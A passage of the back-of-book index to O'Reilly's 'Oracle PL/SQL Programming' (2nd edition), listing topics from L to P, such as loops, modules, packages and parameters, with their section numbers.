21.4.1. Datatype Conversion
21.4.3.2. LENGTH property
less than (<=) operator : 2.1. The PL/SQL Character Set
lexical units, PL/SQL : 2.1. The PL/SQL Character Set
libraries dropping : 21.3.3. DROP: Dropping Libraries
LIMIT function : 19.6.6. LIMIT
line breaks : (see whitespace)
line number, finding code for : 23.6.6. Finding the Code for a Line Number
listener for external procedures : 21.2.1. Step 1: Set Up the Listener
literals
2.3. Literals
4.7.4. Use Named Constants to Avoid Hardcoding Values
16.3.1.2. A package of magic values
strings : (see strings)
LN function : 13.1.11. The LN function
LOBs (large object datatypes) : 1.4.7.6. Large object support
functions for : 13.2. LOB Function Descriptions
LOBs (large objects) : 4.2.7. LOB Datatypes
datatypes for : 4.2.7. LOB Datatypes
DMBS_LOB package for : C.6. DBMS_LOB (PL/SQL8 Only)
LONG datatypes and : 4.2.7.5. LOBs and LONGs
local modules
1.7.1. Write as Little Code as Possible
15.7. Local Modules
22.3. Take Full Advantage of Local Modularization
forward declarations of : 15.9. Forward Declarations
scope of : 15.7.5. Scope of Local Modules
local variables
objects for : 18.1.2. Some Simple Examples
performance and : 25.4.3. Rely on Local Variables to Improve Performance
local variables, normalizing : 4.5.1.2. Normalization of local variables
LOCAL_TRANSACTION_ID function : C.15.17. The LOCAL_TRANSACTION_ID function
LOCK TABLE statement : 6.1.5. The LOCK TABLE Statement
locking records
6.11. SELECT FOR UPDATE in Cursors
with DBMS_LOCK : (see DBMS_LOCK package)
locking tables : (see table locks)
LOG function : 13.1.12. The LOG function
logical datatype : (see Boolean datatype)
logical structure : 3.1.1. Revealing Logical Structure with Indentation
LOGIN_DENIED exception : 8.3.1. Named System Exceptions
LONG columns : 4.2.3.3. The LONG datatype
and VARCHAR2 handling : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
LONG datatype : 4.2.3.3. The LONG datatype
LOB datatypes and : 4.2.7.5. LOBs and LONGs
LONG RAW datatype : 4.2.3.5. The LONG RAW datatype
LOB datatypes and : 4.2.7.5. LOBs and LONGs
loop index : 7.3. The Numeric FOR Loop
with loop scope : 7.6.2.1. Scope in FOR loops
naming : 7.7.1. Naming Loop Indexes
nontrivial increments : 7.3.3. Handling Nontrivial Increments
using REVERSE : 7.3.1. Rules for Numeric FOR Loops
LOOP keywords : (see loops)
loop scope : 7.6.2.2. Scope with labels
loops : 7. Loops
cursor FOR
1.6.4. The cursor FOR loop
7.4. The Cursor FOR Loop
exiting : 1.7.5. Structured Code and Other Best Practices
filling table rows with : 10.6.2. Iterative Assignment
FOR loop
1.7.1. Write as Little Code as Possible
1.7.5. Structured Code and Other Best Practices
formatting : 3.3.2. Formatting Loops
GOTO statements within : 7.7.2.4. GOTO statements inside a loop
labels for : 7.6.1. Loop Labels
numeric FOR : 7.3. The Numeric FOR Loop
REPEAT UNTIL : 7.2.2. Emulating a REPEAT UNTIL Loop
RETURN statement within : 7.7.2.3. RETURN statement
scope of : 7.6.2. Loop Scope
simple : 7.2. The Simple Loop
terminating with labels : 7.6.1.2. Loop termination using labels
WHILE : 7.5. The WHILE Loop
LOWER function : 11.1.7. The LOWER function
lowercase : (see case)
LPAD function : 11.1.8. The LPAD function
LTRIM function
11.1.9. The LTRIM function
25.4.2. Zen and the Art of PL/SQL Tuning

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: M

magic values : 16.3.1.2. A package of magic values
hard-coding : 1.7.5. Structured Code and Other Best Practices
mail : C.8. DBMS_MAIL
mail, sending with external procedures : 21.7.2. Example: Sending Email
MAKE_REF function : 20.3.3. MAKE_REF: Returning a Virtual REF
DECODE function in : 20.4.2.3. Working around the ORA-22972 problem
managing work queue (example) : 6.13.2. Managing a Work Queue with SELECT FOR UPDATE
manual records : 9.6.1.1. Manual records
MAP methods : 18.3.6.1. The MAP and ORDER methods
MAXLEN property
21.4.1. Datatype Conversion
21.4.3.3. MAXLEN property
member methods : 18.3.1. About Object Types
memory
analyzing size of code : 23.6.3. Analyzing the Size of PL/SQL Code
and conditional control statements : 5.1.4. Nested IF Statements
determining free disk space (example) : 21.1.1. Example: Determining Free Disk Space on Windows NT
memory-based architecture of code : 23.1.3. Memory-Based Architecture of PL/SQL Code
reducing package variables usage : 25.2.5. Reducing Memory Usage of Package Variables
SGA (System Global Area)
pinning critical code in : 25.2.2. Pin Critical Code into the SGA
tuning shared pool size : 25.2.1. Tune the Size of the Shared Pool of the SGA
used by open cursors : 6.8. Closing Cursors
VSIZE function : 13.3.10. The VSIZE function
messages about debugging : 24.2.9. Build Debugging Messages into Your Packages
methods : 18.1.1. Terminology
dot notation for : 18.3.4.2. Dots in method invocations
for collections, built-in : 19.6. Collection Built-Ins
modifying persistent objects : 18.5.2. Approach 2: Define Methods and Permit Limited Use of Conventional SQL
types of : 18.3.1. About Object Types
minute : (see date; time)
MOD function : 13.1.13. The MOD function
modes, cursor parameters : 6.10.4. Cursor Parameter Modes
modifying table rows : 10.5. Referencing and Modifying PL/SQL Table Rows
modularization : 15.1. Modular Code
modules
(see also blocks; functions; packages; procedures)
1.4.3.10. Modular construction
2.7. Block Structure
15. Procedures and Functions
22.1.1. Make Sure the Module Name Explains the Module
anchoring to variables in : 4.5.4. Anchoring to Variables in Other PL/SQL Blocks
assertion : 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions
collections as parameters of : 19.2.2.3. Collections as module parameters
constructing : 15.2.1. Sequence of Section Construction
designing with NULL statements : 5.2.2.3. Supporting top-down design of modules
exception handlers in
(see also exceptions)
22.2.3. Avoid Exception Handlers for Normal Program Exits
formatting : 3.4. Formatting PL/SQL Blocks
forward declarations of : 15.9. Forward Declarations
independent : 22.5. Create Independent Modules
local
1.7.1. Write as Little Code as Possible
15.7. Local Modules
22.3. Take Full Advantage of Local Modularization
naming
15.3.4.3. Named modules offer scoping effect of nested block
15.3.5.3. Qualifying identifier names with module names
22.1.1. Make Sure the Module Name Explains the Module
nested
1.6.5. Scoping with nested blocks
2.7.3. Nested Blocks
raising exceptions in : 8.4.1.2. Raising exceptions in nested blocks
overloaded
1.6.6. Module overloading
15.8. Module Overloading
overloading : 18.1.4.4. Polymorphism
parameters of : 15.6. Parameters
without : 22.4. Be Wary of Modules Without Any Parameters
specifying in packages : 16.3. The Package Specification
status of : 23.3. Module Validation and Dependency Management
stored : 23. Managing Code in the Database
and target labels : 5.2.1.3. Target labels and PL/SQL blocks
utility : C.16. DBMS_UTILITY
validating : 23.3. Module Validation and Dependency Management
MONITOR tool : 25.1. Analyzing Program Performance
months : (see date)
MONTHS_BETWEEN function : 12.1.3. The MONTHS_BETWEEN function
multiline comments : (see block comments)
multiline statements, formatting : 3.1.6. Formatting Multiline Statements
MULTISET pseudo-function : 19.5.3. The MULTISET Pseudo-function
mutual recursion : (see forward declarations)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: N

NAME_RESOLVE procedure : C.16.8. The NAME_RESOLVE procedure
NAME_TOKENIZE procedure : C.16.9. The NAME_TOKENIZE procedure
named collections : 19.5.2.1. Casting a named collection
named constants
4.1. Identifiers
4.7.4. Use Named Constants to Avoid Hardcoding Values
converting variables to : 4.7.5. Convert Variables into Named Constants
named labels : 5.2.1. The GOTO Statement
named notation : 15.6.4.2. Named notation
naming
columns
1.7.5. Structured Code and Other Best Practices
9.3.2. Setting the Record's Column Names
cursor identifiers : 6.4.3. Identifier Precedence in a Cursor
cursors : 6.4.1. The Cursor Name
encrypted code files : 23.7.2. Working with Encrypted Code
exceptions
8.3.1. Named System Exceptions
8.4.1.3. Overlapping exception names
functions : 1.7.5. Structured Code and Other Best Practices
identifiers : 2.2. Identifiers
loop indexes : 7.7.1. Naming Loop Indexes
loops : 7.6.1. Loop Labels
modules
15.3.4.3. Named modules offer scoping effect of nested block
22.1.1. Make Sure the Module Name Explains the Module
qualified identifiers and : 15.3.5.3. Qualifying identifier names with module names
object types : 18.6.3. Schema Evolution
packages : 22.1.3. Name Packages and Their Elements to Reflect the Packaged Structure
parameters : 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters
precedence, column/function : 17.6. Column/Function Name Precedence
savepoints : 6.1.3. The SAVEPOINT Statement
subtypes : 4.7.2. Name Subtypes to Self-Document Code
tables : 1.7.5. Structured Code and Other Best Practices
variables
1.7.5. Structured Code and Other Best Practices
4.1. Identifiers
4.7.1. Establish Clear Variable Naming Conventions
National Language Support : (see NLS character datatypes)
NATURAL datatype : 4.2.1.1. Binary integer datatypes
natural logarithm function : 13.1.11. The LN function
NCHAR datatype : 4.2.6.1. The NCHAR datatype
NCLOB datatype
1.4.7.6. Large object support
4.2.7.4. The NCLOB datatype
negative numbers : 4.2.1.1. Binary integer datatypes
negative row index : 10.2. Characteristics of PL/SQL Tables
nested
blocks
(see also anonymous blocks)
15.3. The Anonymous PL/SQL Block
15.3.4. Nested Blocks
cursors and : 15.3.5.4. Cursor scope
scope and : 15.3.5.2. Scope and nested blocks
IF statements : 5.1.4. Nested IF Statements
modules : 2.7.3. Nested Blocks
raising exceptions in : 8.4.1.2. Raising exceptions in nested blocks
scoping with : 1.6.5. Scoping with nested blocks
objects
dot notation for : 18.3.4.1. Dots in data structures
records : 9.7. Nested Records
tables : 1.4.7.3. Variable arrays and nested tables
(see also collections)
19.1. Types of Collections
19.3. Syntax for Declaring Collection Datatypes
adding/removing elements of : 19.4.3. Adding and Removing Elements
assigning values to elements : 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations
defining : 19.2.1. Collections "In the Database"
initializing : 19.4.1. Initializing Collection Variables
objects for : 18.1.2. Some Simple Examples
THE pseudo-function for : 19.5.1. The THE Pseudo-function
%TYPE attributes : 4.5.3. Nesting Usages of the %TYPE Attribute
NESTED TABLE ... STORE AS clause : 19.2.1.1. Collection as a "column" in a conventional table
Net8 listener : 21.2.1. Step 1: Set Up the Listener
new_add_months function : 12.2.1. Customizing the Behavior of ADD_MONTHS
NEW_LINE procedure
C.9.5. The NEW_LINE procedure
C.17.1.7. The NEW_LINE procedure
NEW_TIME function
12.1.4. The NEW_TIME function
12.2.2. Using NEW_TIME in Client-Server Environments
NEXT function
10.8.2.6. The NEXT function
10.8.2.7. The PRIOR function
19.6.7. PRIOR(i), NEXT(i)
NEXT_DATE procedure : C.5.5. The NEXT_DATE procedure
NEXT_DAY function : 12.1.5. The NEXT_DAY function
NEXT_ITEM_TYPE function : C.10.2. The NEXT_ITEM_TYPE function
NLS character datatypes : 4.2.6. NLS Character Datatypes
NO_DATA_FOUND exception
8.3.1. Named System Exceptions
8.8. NO_DATA_FOUND: Multipurpose Exception
normalization of local variables : 4.5.1.2. Normalization of local variables
not equals (<> and !=) : 2.1. The PL/SQL Character Set
NOT NULL datatype : 4.4.4. NOT NULL Clause
anchoring to : 4.5.5. Anchoring to NOT NULL Datatypes
constraints : 25.4.6. Avoid NOT NULL Constraints
NOT_LOGGED_ON exception : 8.3.1. Named System Exceptions
%NOTFOUND cursor attribute
6.6.2. Fetching Past the Last Row
6.9.2. The %NOTFOUND Attribute
NOWAIT keyword : 6.1.5. The LOCK TABLE Statement
NULL : 4.3. NULLs in PL/SQL
assigning to objects : 18.5.3. Approach 3: Do Everything via Methods
and default values : 4.4.4. NOT NULL Clause
in IF statements : 5.1.1. The IF-THEN Combination
NOT NULL constraints : 25.4.6. Avoid NOT NULL Constraints
NULL statements : 5.2.2. The NULL Statement
with GOTO statements : 5.2.2.4. Using NULL with GOTO to avoid additional statement execution
NVL function : 13.3.4. The NVL function
setting records to : 9.6.1.3. Setting records to NULL
string : 2.3. Literals
NUMBER datatype
4.2.1.2. Decimal numeric datatypes
25.4.5. Use PLS_INTEGER for All Integer Operations
numbers
converting strings to/from
14.1.2. Number Format Models
14.2.7. The TO_CHAR function (number conversion)
14.2.9. The TO_NUMBER function
converting to words : 17.8.7. Recursive Processing in a SQL Statement
date : (see date)
functions for : 13. Numeric, LOB, and Miscellaneous Functions
line, finding code for : 23.6.6. Finding the Code for a Line Number
suppressing zeros : 14.3.1. FM: Suppressing Blanks and Zeros
numeric
datatypes : 4.2.1. Numeric Datatypes
FOR loops : 7.3. The Numeric FOR Loop
formatting : 3.3.2. Formatting Loops
loop index : 7.3. The Numeric FOR Loop
nontrivial increments : 7.3.3. Handling Nontrivial Increments
premature termination of : 7.7.2.1. Premature FOR loop termination
range scheme : 7.3. The Numeric FOR Loop
scope of : 7.6.2.1. Scope in FOR loops
unnecessary : 7.7.3. Avoiding the Phony Loop
literals : 2.3.2. Numeric Literals
NUMERIC subtype : 4.2.2. Numeric Subtypes
NVARCHAR2 datatype : 4.2.6.2. The NVARCHAR2 datatype
NVL function
4.3.3. Function Results with NULL Arguments
13.3.4. The NVL function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: O

object tables, object views versus : 20.4. Differences Between Object Views and Object Tables
object types
18.1.1. Terminology
18.1.4.2. Classification
constructor methods
18.3.1. About Object Types
18.4.1.1. Constructors
data dictionary entries : 18.6.1. Data Dictionary
defining : 18.2.2. Defining the Object Type Body
forward type definitions : 18.3.5.1. Forward type definitions
instantiating objects from : 18.2.2.1. PL/SQL usage
modifying : 18.6.3. Schema Evolution
renaming : 18.6.3. Schema Evolution
syntax for : 18.3. Syntax for Creating Object Types
type modifiers : 18.2.3. Adding Complex Data Structures
object views : 20. Object Views
data dictionary entries : 20.7.1. Data Dictionary
duplicate OIDs in : 20.4.1.1. Duplicate OIDs in a single view
example of : 20.1. Example: Using Object Views
INSTEAD OF triggers and : 20.2. INSTEAD OF Triggers
object tables versus : 20.4. Differences Between Object Views and Object Tables
privileges : 20.7.2. Privileges
REFs and : 20.4.2. Using REFs with Object Views
schema evolution and
20. Object Views
20.6. Schema Evolution
syntax for : 20.3.1. CREATE VIEW: Creating an Object View
object-oriented programming
18. Object Types
18.1.5. Object Programming Themes
18.7. Making the Objects Option Work
object views and : 20. Object Views
objects : 18.1. Introduction to Oracle8 Objects
assigning : 18.4.1.2. Direct assignment
collections as object types : 19.2.1.2. Collection as an attribute of an object type
comparing : 18.3.6. Comparing Objects
database structure for : 18.2.2.2. DDL usage
dependency of : 23.6.1. Displaying Object Dependencies
desc command (SQL*Plus) : 18.6.2. SQL*Plus "Describe" Command
destroying : 18.5.3. Approach 3: Do Everything via Methods
dot notation : 18.3.4. Dot Notation
equality of, testing : 18.3.6.2. Equality comparisons
examples of
18.1.2. Some Simple Examples
18.2. Oracle Objects Example
handles for : (see identifiers)
identifiers : (see OIDs)
in packages : 16.1.4. Object Persistence
index-by tables of : 25.4.8. Use Index-By Tables of Records and Objects
inheritance : 18.1.4.3. Inheritance
initializing : 18.4.1. The Need to Initialize
instantiating : 18.2.2.1. PL/SQL usage
LOBs (large objects) : 1.4.7.6. Large object support
functions for : 13.2. LOB Function Descriptions
object views : 1.4.7.4. Object views
object-oriented model support : 1.4.7.1. Support for an object-oriented model
OIDs (object identifiers) : 18.4.2.1. Object identifiers (OIDs)
persistent, modifying : 18.5. Modifying Persistent Objects
privileges : 18.3.7. Privileges
referring to : 18.4.2. OID, VALUE, REF, and DEREF
REFs : (see REFs)
returnin value of : 18.4.2.4. DEREF
self-reference : (see SELF object)
stored
(see also stored objects)
23. Managing Code in the Database
managing with SQL*Plus : 23.5. Managing Stored Objects with SQL*Plus
viewing with SQL : 23.6. Using SQL to Examine Stored Objects
synonyms for : 23.2.2. Creating Synonyms for Stored Objects
OCI routines, for external procedures : 21.5. OCI Service Routines
OIDs (object identifiers) : 18.4.2.1. Object identifiers (OIDs)
uniqueness of
20.4.1. OID Uniqueness
20.4.4. REFs to Nonunique OIDs
where stored : 18.4.2.1. Object identifiers (OIDs)
one-dimensionality of tables : 10.2. Characteristics of PL/SQL Tables
OODBs (object-oriented databases) : 18.1. Introduction to Oracle8 Objects
OPEN statement
(see also cursors)
6.2.2. Cursor Operations
6.5. Opening Cursors
6.10.2. Opening Cursors with Parameters
with cursor variables : 6.12.4. Opening Cursor Variables
OPEN FOR statement : 6.12.4. Opening Cursor Variables
OPEN_CURSOR function : C.14.14. The OPEN_CURSOR function
OPEN_CURSORS parameter : 6.8.1. Maximum Number of Cursors
opening cursors
6.2.2. Cursor Operations
6.5. Opening Cursors
6.10.2. Opening Cursors with Parameters
6.12.4. Opening Cursor Variables
operating sytem files : C.17. UTL_FILE
operators, REFs as : 18.4.2.2. REFs
optimizing foreign key lookups : 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables
OR REPLACE predicate : 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types
Oracle
how PL/SQL fits in : 1.1. What Is PL/SQL?
programming in : (see coding)
Oracle/AQ : (see advanced queuing)
Oracle Forms : 1.2. The Concept of Programming in Oracle Applications
code of : 1.2. The Concept of Programming in Oracle Applications
Oracle Lock Management (OLM) services : C.7. DBMS_LOCK
Oracle Reports : 1.2. The Concept of Programming in Oracle Applications
Oracle Server
Version 7.1 : (see Release 2.1, PL/SQL)
Version 7.2 : (see Release 2.2, PL/SQL)
Oracle Tools, anonymous blocks in : 15.3.3. Anonymous Blocks in the Oracle Tools
Oracle*Mail : C.8. DBMS_MAIL
Oracle, Trusted : About the Contents
Oracle/AQ, administration on : C.3.2. DBMS_AQADM (PL/SQL 8 Only)
Oracle/AQ facility : C.3. Oracle AQ, the Advanced Queueing Facility
ORADBX tool : 25.1. Analyzing Program Performance
order, VARRAY elements : 19.4.1.4. VARRAY integration
ORDER methods : 18.3.6.1. The MAP and ORDER methods
OUT parameters
15.6.2.2. OUT mode
22.7.3. Assign Values to All OUT and IN OUT Parameters
external procedure mappings : 21.4.1. Datatype Conversion
in functions
: 22.2.1.1. Do not use OUT and IN OUT parameters
: 1.7.5. Structured Code and Other Best Practices
outer tables : 19.1. Types of Collections
overloaded modules
1.6.6. Module overloading
15.8. Module Overloading
restrictions on : 15.8.4. Restrictions on Overloading
overloading modules : 18.1.4.4. Polymorphism

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: P

PACK_MESSAGE procedure : C.10.3. The PACK_MESSAGE procedure
package variables, stored functions and : 17.4. Restrictions on PL/SQL Functions in SQL
packages
1.4.3.10. Modular construction
1.6.8. Packages
16. Packages
Booch diagram : 16.2.4. Public and Private Package Elements
built-in
1.4.3.6. Built-in packages
1.6.3. Built-in packages
built-in, reference on : C. Built-In Packages
cursors in : 6.4.4. The Cursor RETURN Clause
data structures in : 16.5. Package Data
debugging messages in : 24.2.9. Build Debugging Messages into Your Packages
declaring cursors in : 16.3.2. Declaring Package Cursors
developing around : 1.7.3. Center All Development Around Packages
documenting : 3.7. Documenting the Entire Package
encapsulating data structure access : 1.7.2. Synchronize Program and Data Structures
of exceptions only : 16.3.1.1. A package of exceptions
formatting : 3.5. Formatting Packages
functions in, calling : 17.5. Calling Packaged Functions in SQL
granting execute authority to : 23.2.1. Execute Authority on Stored Objects
initialization section
purity level assertions in : 17.5.2. Asserting Purity Level with Package Initialization Section
initializing : 16.6. Package Initialization
of magic values only : 16.3.1.2. A package of magic values
minimizing interdependencies : 25.2.4. Creating Packages with Minimal Interdependencies
modifying persistent objects : 18.5.4. Approach 4: Use an Object and a PL/SQL Container Package
naming : 22.1.3. Name Packages and Their Elements to Reflect the Packaged Structure
numbers-to-words : 17.8.7. Recursive Processing in a SQL Statement
pinning into SGA shared pool : 25.2.2. Pin Critical Code into the SGA
public versus private elements : 16.2.4. Public and Private Package Elements
purity level of : 17.5.1. The RESTRICT_REFERENCES Pragma
referencing elements of : 23.1.4. Key Concepts for Program Execution
rights models : 18.3.7.3. Rights model
specification
16.2.1. The Specification
16.3. The Package Specification
STANDARD : 8.3.1. Named System Exceptions
storing spefifications for : 1.7.3. Center All Development Around Packages
synchronizing body and specification : 16.4.2. Synchronize Body with Package
toggles in : 1.7.3. Center All Development Around Packages
variables in : B.2.2. No Direct Stored Package Variable References
reducing memory usage of : 25.2.5. Reducing Memory Usage of Package Variables
padding strings
11.1.11. The RPAD function
11.1.8. The LPAD function
parameters : 15.6. Parameters
accepted in PARAMETERS clause : 21.4.3. Properties
actual versus formal : 15.6.3. Actual and Formal Parameters
Boolean : 22.7.2. Use Self-Identifying Parameters (Avoid Boolean Values)
case consistency of : 22.7.4. Ensure Case Consistency of Parameters
declaring : 21.4.4. Correct Declaration of Properties
default values of
B.2.4. No Default Parameter Values
15.6.5. Default Values
22.7.5. Default Values and Remote Procedure Calls
design tips for : 22.7. Tips for Parameter Design
documenting : 22.7.1. Document All Parameters and Their Functions
IN mode : 15.6.2.1. IN mode
IN OUT mode
15.6.2.3. The IN OUT mode
22.7.3. Assign Values to All OUT and IN OUT Parameters
increasing number of : 22.5.3. Use Parameters Liberally
mapping for external procedures : 21.4. Mapping Parameters
module, collections as : 19.2.2.3. Collections as module parameters
modules without : 22.4. Be Wary of Modules Without Any Parameters
naming : 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters
OUT mode
15.6.2.2. OUT mode
22.7.3. Assign Values to All OUT and IN OUT Parameters
for overloaded modules : 15.8.4. Restrictions on Overloading
package data and : 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values
passing by reference : 21.4.2. More Syntax: The PARAMETERS Clause
tables as : 10.5.4. Passing PL/SQL Tables as Parameters
validating with assertion modules : 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions
PARAMETERS clause : 21.4.1. Datatype Conversion
declaring parameters : 21.4.4. Correct Declaration of Properties
parameters possible in : 21.4.3. Properties
parameters, cursor : 6.10. Cursor Parameters
parent block : (see nested blocks)
PARSE procedure : C.14.15. The PARSE procedure
parsing SQL statements : 6.2.2. Cursor Operations
parsing strings : 11.2.1. Parsing a Name
part-of relationship : 18.1.4.3. Inheritance
partitioned tables, ROWID datatype for : 4.2.3.6. The ROWID datatype
partitioning table to store array : 10.9.4.2. Partitioning a PL/SQL table to store an array
passing
collection arguments : 19.8.3. Call by Reference or Call by Value
parameters by reference : 21.4.2. More Syntax: The PARAMETERS Clause
performance
analyzing : 25.1. Analyzing Program Performance
implicit cursors and : 6.3.2.1. Inefficiencies of implicit cursors
implicit data conversions and : 4.2.8.3. Drawbacks of implicit conversions
local variables and : 25.4.3. Rely on Local Variables to Improve Performance
package data and : 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values
stored functions and : 17.1. Looking at the Problem
time, using progress box : 22.6.3. Progress Box as ADT
persistence
encapsulation and : 18.2.2.2. DDL usage
REFs and : 18.2.3. Adding Complex Data Structures
persistent objects
modifying : 18.5. Modifying Persistent Objects
referring to : 18.4.2. OID, VALUE, REF, and DEREF
PGA (Program Global Area) : 25.3.1. Use Package Data to Minimize SQL Access
phonetic string comparisons : 11.1.13. The SOUNDEX function
pinning packages into SGA shared pool : 25.2.2. Pin Critical Code into the SGA
pipes : (see DBMS_PIPE package)
PL/SQL
applications, tuning : 25. Tuning PL/SQL Applications
access to compiled code : 25.2. Tuning Access to Compiled Code
access to data : 25.3. Tuning Access to Your Data
analyzing performance : 25.1. Analyzing Program Performance
optimizing algorithms : 25.4. Tuning Your Algorithms
best practices : 1.7. Best Practices for PL/SQL Excellence
blocks : (see modules)
C interface, datatypes and : 21.4.1. Datatype Conversion
and client-server architecture : 1.1. What Is PL/SQL?
collections in : 19.2.2.1. Collection variables
datatype subtypes in : 4.6.1. Declaring Subtypes
debugging : (see debugging)
definition of : 1.1. What Is PL/SQL?
exceptions : (see exceptions)
for I/O-intensive SQL : 25.3.6. Use PL/SQL to Improve Performance of IO-Intensive SQL
functions in SQL : (see stored functions, PL/SQL)
identifiers : (see identifiers)
integration with server (example) : 19.7. Example: PL/SQL-to-Server Integration
language
coding : (see coding)
structure of : 2.7. Block Structure
language of : 2.1. The PL/SQL Character Set
lexical units of : 2.1. The PL/SQL Character Set
literals : (see literals)
loops : (see loops)
memory-based code architecture : 23.1.3. Memory-Based Architecture of PL/SQL Code
modules : 2.7. Block Structure
objects : (see objects)
origins of : 1.3. The Origins of PL/SQL
packages : (see packages)
Programming Companion Utilities Guide : A. What's on the Companion Disk?
Release 1.1 : 10.9.4.3. Features of the array package
Release 2.2 : 6.12. Cursor Variables
Release 2.3
6.12. Cursor Variables
10.1.1. PL/SQL Tables
10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3
tracing execution : 26. Tracing PL/SQL Execution
variables : (see variables)
version 8 enhancements : 25.5. Overview of PL/SQL8 Enhancements
versions of : 1.4. PL/SQL Versions
Release 2.1 : 15.8.4. Restrictions on Overloading
Version 1.1 : B. Calling Stored Procedures from PL/SQL Version 1.1
Version 2 : 15.6.1.1. %TYPE and %ROWTYPE
Version 2.0
B.1. Using Stubs to Talk to Server-Side PL/SQL
1.4.3. PL/SQL Version 2.0
23.4. Remote Procedure Calls
working with multiple : 1.4.1. Working with Multiple Versions of PL/SQL
wrapper : 1.4.5.1. The PL/SQL wrapper
PL/SQL tables : (see index-by tables)
PLS-00452 error : 17.5.1.1. Pragma violation errors
PLS_INTEGER data type : 25.4.5. Use PLS_INTEGER for All Integer Operations
PLS_INTEGER datatype : 4.2.1.3. The PLS_INTEGER datatype
pointers to objects : (see references to objects)
polymorphism : 18.1.4.4. Polymorphism
PORT_STRING function : C.16.10. The PORT_STRING function
portability : 1.3.1. Improved Application Portability with PL/SQL
POSITIVE datatype : 4.2.1.1. Binary integer datatypes
Post-Query trigger : 6.3.2.1. Inefficiencies of implicit cursors
POWER function : 13.1.14. The POWER function
PRAGMA keyword : 2.6. The PRAGMA Keyword
pragmas
EXCEPTION_INIT : 8.3.3.1. The EXCEPTION_INIT pragma
RESTRICT_REFEFRENCES : 17.3. Requirements for Stored Functions in SQL
RESTRICT_REFERENCES
17.5.1. The RESTRICT_REFERENCES Pragma
17.7.1. Manual Application of Pragmas
precedence, identifiers in cursors : 6.4.3. Identifier Precedence in a Cursor
precision : 4.2.1.2. Decimal numeric datatypes
predefined system exceptions : 8.3.1. Named System Exceptions
PRIOR function
10.8.2.7. The PRIOR function
19.6.7. PRIOR(i), NEXT(i)
private
elements, package
16.2.2. The Body
16.2.4. Public and Private Package Elements
global data : 16.5.4. Global Private Data
privileges
collections : 19.8.1. Privileges
of objects : 18.3.7. Privileges
procedural code, avoiding : 25.3.5. Avoid Procedural Code When Possible
procedures
(see also functions; modules)
1.4.3.10. Modular construction
15. Procedures and Functions
15.4. Procedures
22.1.1. Make Sure the Module Name Explains the Module
changing trigger code to : 25.3.7. Keep Database Triggers Small
for collections : 19.6. Collection Built-Ins
external
(see external procedures)
1.4.7.5. External procedures
headers of : 15.4.2. Procedure Header
IN OUT parameters in : 22.2.1.2. Switch to a procedure with IN OUT parameters
local : 15.7. Local Modules
parameters of : 15.6. Parameters
records as parameters : 9.1.4. Guidelines for Using Records
remote
22.7.5. Default Values and Remote Procedure Calls
23.4. Remote Procedure Calls
RETURN statements in : 15.5.8.5. RETURN statement in a procedure
shared : 23.1.1. Executing Procedures
stored, from PL/SQL Version 1.1 : B. Calling Stored Procedures from PL/SQL Version 1.1
synonyms for : 23.2.2. Creating Synonyms for Stored Objects
tables as parameters for : 10.5.4. Passing PL/SQL Tables as Parameters
production support : 26.2. Tracing for Production Support
Program Global Area (PGA) : 25.3.1. Use Package Data to Minimize SQL Access
PROGRAM_ERROR exception : 8.3.1. Named System Exceptions
programmer-defined
exceptions
8.3.2. Named Programmer-Defined Exceptions
8.3.4. Unnamed Programmer-Defined Exceptions
scope of : 8.4.1.1. Scope of programmer-defined exception
records
1.4.3.3. Programmer-defined records
9.4. Programmer-Defined Records
subtypes : 1.4.4.4. Programmer-defined subtypes
programmer-defined datatypes : (see subtypes)
programmer-defined PL/SQL functions : (see stored functions, PL/SQL)
programming : (see coding)
Programming Companion Utilities Guide : A. What's on the Companion Disk?
programs
